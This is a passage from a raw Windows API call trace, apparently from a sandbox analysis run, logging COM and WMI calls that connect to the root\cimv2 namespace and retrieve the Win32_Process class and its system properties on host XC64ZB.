riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c830 | out: ppvObject=0x1b10c830*=0x0) returned 0x80004002 [0127.822] WbemDefPath:IUnknown:Release (This=0x351ec0) returned 0x2 [0127.822] WbemDefPath:IUnknown:Release (This=0x351ec0) returned 0x1 [0127.822] CoGetContextToken (in: pToken=0x1b10d560 | out: pToken=0x1b10d560) returned 0x0 [0127.822] CoGetContextToken (in: pToken=0x1b10d460 | out: pToken=0x1b10d460) returned 0x0 [0127.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x351ec0, riid=0x1b10d5c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d590 | out: ppvObject=0x1b10d590*=0x351ec0) returned 0x0 [0127.822] WbemDefPath:IUnknown:AddRef (This=0x351ec0) returned 0x3 [0127.822] WbemDefPath:IUnknown:Release (This=0x351ec0) returned 0x2 [0127.822] WbemDefPath:IWbemPath:SetText (This=0x351ec0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0127.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0127.822] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0127.822] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.823] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0127.823] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0127.823] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0127.823] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.823] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d078 | out: ppv=0x1b10d078*=0x33a700) returned 0x0 [0127.823] WbemLocator:IUnknown:QueryInterface (in: This=0x33a700, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d160 | out: ppvObject=0x1b10d160*=0x0) returned 0x80004002 [0127.824] WbemLocator:IClassFactory:CreateInstance (in: This=0x33a700, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d138 | out: ppvObject=0x1b10d138*=0x33a660) returned 0x0 [0127.824] WbemLocator:IUnknown:Release (This=0x33a700) returned 0x0 [0127.824] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cee0 | out: ppvObject=0x1b10cee0*=0x33a660) returned 0x0 [0127.824] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x0) returned 0x80004002 [0127.824] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c768 | out: ppvObject=0x1b10c768*=0x0) returned 0x80004002 [0127.824] WbemLocator:IUnknown:AddRef (This=0x33a660) returned 0x3 [0127.824] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c628 | out: ppvObject=0x1b10c628*=0x0) returned 0x80004002 [0127.824] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c5b0 | out: ppvObject=0x1b10c5b0*=0x0) returned 0x80004002 [0127.824] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c5a0 | out: ppvObject=0x1b10c5a0*=0x0) returned 0x80004002 [0127.824] CoGetContextToken (in: pToken=0x1b10c650 | out: pToken=0x1b10c650) returned 0x0 [0127.824] CoGetContextToken (in: pToken=0x1b10cad0 | out: pToken=0x1b10cad0) returned 0x0 [0127.824] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb90 | out: ppvObject=0x1b10cb90*=0x0) returned 0x80004002 [0127.825] WbemLocator:IUnknown:Release (This=0x33a660) returned 0x2 [0127.825] WbemLocator:IUnknown:Release (This=0x33a660) returned 0x1 [0127.825] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0127.825] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0127.825] WbemLocator:IUnknown:QueryInterface (in: This=0x33a660, riid=0x1b10d570*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x33a660) returned 0x0 [0127.825] WbemLocator:IUnknown:AddRef (This=0x33a660) returned 0x3 [0127.825] WbemLocator:IUnknown:Release (This=0x33a660) returned 0x2 [0127.825] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0127.825] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=8, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0127.825] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=8, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.825] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d690 | out: ppv=0x1b10d690*=0x33a9e0) returned 0x0 [0127.825] WbemLocator:IWbemLocator:ConnectServer (in: This=0x33a9e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d808 | out: ppNamespace=0x1b10d808*=0x1b403120) returned 0x0 [0127.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403120, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d508 | out: ppvObject=0x1b10d508*=0x1b3bf0f0) returned 0x0 [0127.843] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b3bf0f0, pProxy=0x1b403120, pAuthnSvc=0x1b10d5d0, pAuthzSvc=0x1b10d550, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554, pImpLevel=0x1b10d560, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564 | out: pAuthnSvc=0x1b10d5d0*=0xa, pAuthzSvc=0x1b10d550*=0x0, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554*=0x6, pImpLevel=0x1b10d560*=0x2, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564*=0x1) returned 0x0 [0127.843] WbemLocator:IUnknown:Release (This=0x1b3bf0f0) returned 0x1 [0127.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403120, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4a0 | out: ppvObject=0x1b10d4a0*=0x1b3bf138) returned 0x0 [0127.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403120, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4b0 | out: ppvObject=0x1b10d4b0*=0x1b3bf0f0) returned 0x0 [0127.843] WbemLocator:IClientSecurity:SetBlanket (This=0x1b3bf0f0, pProxy=0x1b403120, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.843] WbemLocator:IUnknown:Release (This=0x1b3bf0f0) returned 0x2 [0127.843] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x1 [0127.843] CoTaskMemFree (pv=0x1b421610) [0127.844] WbemLocator:IUnknown:Release (This=0x33a9e0) returned 0x0 [0127.844] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403120, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa0 | out: ppvObject=0x1b10cfa0*=0x1b3bf138) returned 0x0 [0127.844] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x0) returned 0x80004002 [0127.845] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x0) returned 0x80004002 [0127.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403120, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c828 | out: ppvObject=0x1b10c828*=0x0) returned 0x80004002 [0127.847] WbemLocator:IUnknown:AddRef (This=0x1b3bf138) returned 0x3 [0127.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6e8 | out: ppvObject=0x1b10c6e8*=0x0) returned 0x80004002 [0127.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c670 | out: ppvObject=0x1b10c670*=0x0) returned 0x80004002 [0127.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c660 | out: ppvObject=0x1b10c660*=0x1b3bf018) returned 0x0 [0127.847] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3bf018, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c688 | out: pCid=0x1b10c688*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.847] WbemLocator:IUnknown:Release (This=0x1b3bf018) returned 0x3 [0127.847] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0127.847] CoGetContextToken (in: pToken=0x1b10cb90 | out: pToken=0x1b10cb90) returned 0x0 [0127.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x1b3bf100) returned 0x0 [0127.847] WbemLocator:IRpcOptions:Query (in: This=0x1b3bf100, pPrx=0x1b3bf138, dwProperty=2, pdwValue=0x1b10cc40 | out: pdwValue=0x1b10cc40) returned 0x80004002 [0127.848] WbemLocator:IUnknown:Release (This=0x1b3bf100) returned 0x3 [0127.848] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x2 [0127.848] CoGetContextToken (in: pToken=0x1b10d250 | out: pToken=0x1b10d250) returned 0x0 [0127.848] CoGetContextToken (in: pToken=0x1b10d150 | out: pToken=0x1b10d150) returned 0x0 [0127.848] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x1b10d2b0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d280 | out: ppvObject=0x1b10d280*=0x1b403120) returned 0x0 [0127.848] WbemLocator:IUnknown:AddRef (This=0x1b403120) returned 0x4 [0127.848] WbemLocator:IUnknown:Release (This=0x1b403120) returned 0x3 [0127.848] WbemLocator:IUnknown:Release (This=0x1b403120) returned 0x2 [0127.848] SysStringLen (param_1=0x0) returned 0x0 [0127.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0127.849] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0127.849] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.849] CoGetContextToken (in: pToken=0x1b10d290 | out: pToken=0x1b10d290) returned 0x0 [0127.854] WbemLocator:IUnknown:AddRef (This=0x1b3bf138) returned 0x3 [0127.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d290 | out: ppvObject=0x1b10d290*=0x1b3bf138) returned 0x0 [0127.855] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x3 [0127.855] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x2 [0127.855] WbemDefPath:IWbemPath:GetText (in: This=0x3515c0, lFlags=2, puBuffLength=0x1b10d990*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d990*=0xe, pszText=0x0) returned 0x0 [0127.855] WbemDefPath:IWbemPath:GetText (in: This=0x3515c0, lFlags=2, puBuffLength=0x1b10d990*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10d990*=0xe, pszText="Win32_Process") returned 0x0 [0127.855] IWbemServices:GetObject (in: This=0x1b403120, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d910*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d910*=0x1b42a640, ppCallResult=0x0) returned 0x0 [0127.863] IWbemClassObject:Get (in: This=0x1b42a640, wszName="__PATH", lFlags=0, pVal=0x1b10d8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10da08*=0, plFlavor=0x1b10da00*=0 | out: pVal=0x1b10d8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b10da08*=8, plFlavor=0x1b10da00*=64) returned 0x0 [0127.864] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0127.864] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0127.864] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8d8 | out: ppv=0x1b10d8d8*=0x3111d8) returned 0x0 [0127.864] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8c8 | out: pAptType=0x1b10d8c8*=1) returned 0x0 [0127.864] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8d0 | out: ppvObject=0x1b10d8d0*=0x0) returned 0x80004002 [0127.864] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.865] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccc8 | out: ppv=0x1b10ccc8*=0x33aa20) returned 0x0 [0127.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x33aa20, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cdb0 | out: ppvObject=0x1b10cdb0*=0x0) returned 0x80004002 [0127.865] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33aa20, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd88 | out: ppvObject=0x1b10cd88*=0x3524c0) returned 0x0 [0127.865] WbemDefPath:IUnknown:Release (This=0x33aa20) returned 0x0 [0127.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb30 | out: ppvObject=0x1b10cb30*=0x3524c0) returned 0x0 [0127.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbc0 | out: ppvObject=0x1b10cbc0*=0x0) returned 0x80004002 [0127.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3b8 | out: ppvObject=0x1b10c3b8*=0x0) returned 0x80004002 [0127.865] WbemDefPath:IUnknown:AddRef (This=0x3524c0) returned 0x3 [0127.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c278 | out: ppvObject=0x1b10c278*=0x0) returned 0x80004002 [0127.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c200 | out: ppvObject=0x1b10c200*=0x0) returned 0x80004002 [0127.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x33a600) returned 0x0 [0127.866] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a600, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c218 | out: pCid=0x1b10c218*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.866] WbemDefPath:IUnknown:Release (This=0x33a600) returned 0x3 [0127.866] CoGetContextToken (in: pToken=0x1b10c2a0 | out: pToken=0x1b10c2a0) returned 0x0 [0127.866] CoGetContextToken (in: pToken=0x1b10c720 | out: pToken=0x1b10c720) returned 0x0 [0127.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7e0 | out: ppvObject=0x1b10c7e0*=0x0) returned 0x80004002 [0127.866] WbemDefPath:IUnknown:Release (This=0x3524c0) returned 0x2 [0127.866] WbemDefPath:IUnknown:Release (This=0x3524c0) returned 0x1 [0127.866] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0127.866] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0127.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x3524c0, riid=0x1b10d570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x3524c0) returned 0x0 [0127.866] WbemDefPath:IUnknown:AddRef (This=0x3524c0) returned 0x3 [0127.867] WbemDefPath:IUnknown:Release (This=0x3524c0) returned 0x2 [0127.867] WbemDefPath:IWbemPath:SetText (This=0x3524c0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.867] IWbemClassObject:Get (in: This=0x1b42a640, wszName="__SERVER", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=0, plFlavor=0x1b10dab8*=0 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0127.867] SysStringByteLen (bstr="XC64ZB") returned 0xc [0127.867] SysStringByteLen (bstr="XC64ZB") returned 0xc [0127.867] IWbemClassObject:Get (in: This=0x1b42a640, wszName="__NAMESPACE", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0127.867] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0127.867] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0127.867] IWbemClassObject:Get (in: This=0x1b42a640, wszName="__CLASS", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 